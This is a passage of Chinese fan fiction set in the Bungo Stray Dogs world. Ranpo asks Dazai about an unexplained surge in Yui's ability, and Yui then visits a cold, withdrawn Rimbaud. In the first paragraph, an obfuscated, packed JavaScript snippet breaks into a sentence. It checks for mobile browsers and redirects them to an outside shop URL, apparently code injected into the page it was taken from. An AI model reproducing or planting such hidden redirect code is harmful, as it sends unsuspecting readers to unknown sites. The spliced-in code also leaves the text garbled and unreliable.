又过了没几分钟,被太宰治气到跳脚又不得不去处理战后的人员清点以及实际物资武器统计的中原中也也怒气冲冲地摔门离开了。 这下房间内只剩下刚刚就事不关己,盯着玻璃珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140765|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发呆的江户川乱步和其他人离开后表情迅速淡漠下来的太宰治。 “太宰,” 太宰治听到侦探叫他,头微微向那边偏了偏,示意自己在听。江户川乱步报出了一个精确到分钟的时间区间,然后才抬起眼,问道, “在这个时间段里,你在异常区内有感知到什么奇怪的地方吗?” 两人心照不宣地忽略了异常区内时间感知会变得模糊这种对普通人而言的难点。 太宰治挑了挑眉,显然也意识到了什么,但他没有立刻回答,而是先反问了一句: “这个时间段发生了什么?不对,让我换个问法——这个时间段内,我们的首领小姐身上发生了什么?” “就在你进入异常区不久之后,结衣的异能出现了异常波动。就我看来,或者说是暴走,或者是持续在使用,亦或者是在蓄势待发,大概持续了这么久。不过她本人似乎对此毫无察觉,也完全没有那段时间的记忆。” 江户川乱步以往轻松明快的表情消失不见,他双手交叉背在脑后,身体向后靠在椅背上,目光一眨不眨地锁定在太宰治脸上。 太宰治静静地站在那里,想起那段漫长的信号干扰,以及那幸运或者偶然的“第一百位”。 过了许久,少年转身离开,黑色的长款大衣下摆在空中勾起利落的弧度: “连自己本身都完全忘记了这件事……听起来,真是让人讨厌到作呕呢,不是吗?” 他虽然没有回答直接回答这个问题,但这样的态度已经足够表明事实了。 而江户川乱步只是静静地坐在椅子上,看着太宰治离开的背影。 他其实也有一件事没有对太宰治说出口。 当时尽管他的大部分注意力都集中在指挥战局上,但视线的余光也并没有离开少女半分。而在那段时间内,有那么极其短暂的一刹那——几乎连一秒都不到,甚至像是视觉错觉一样,他的视网膜上失去了对方的身影。 黑羽结衣对指挥室内这场交谈一无所知。就算知道,她也不清楚那时具体发生了什么事。此时她已经站在了兰堂在港口mafia大楼内的房间门口,轻轻敲了敲门。 里面寂静无声。 “是我,兰堂哥,我可以进来吗?” 在第二次敲门的时候,她趁着那份短暂的空隙,稍微提高了点音量向里面询问。 又等了几秒钟,就在黑羽结衣已经犹豫着在想要不要使用异能直接进去的时候,门内终于传来了低低的声音: “……请进吧,结衣。门没有锁。” 房间内没有开灯,一片漆黑。兰堂并没有躺在床上,而是已经起身,静静地坐在床沿,声音有些低哑: “你怎么来了?其实我没有什么事,只是……可能需要休息一段时间。” 她走进了才发现,青年已经把床上的被子都裹在了身上,但依旧对那温度不满足。 兰堂哥……好像比之前更怕冷了。 而她记得乱步之前提过,这种冷并非是生理因素,更多的是由心理因素造成的。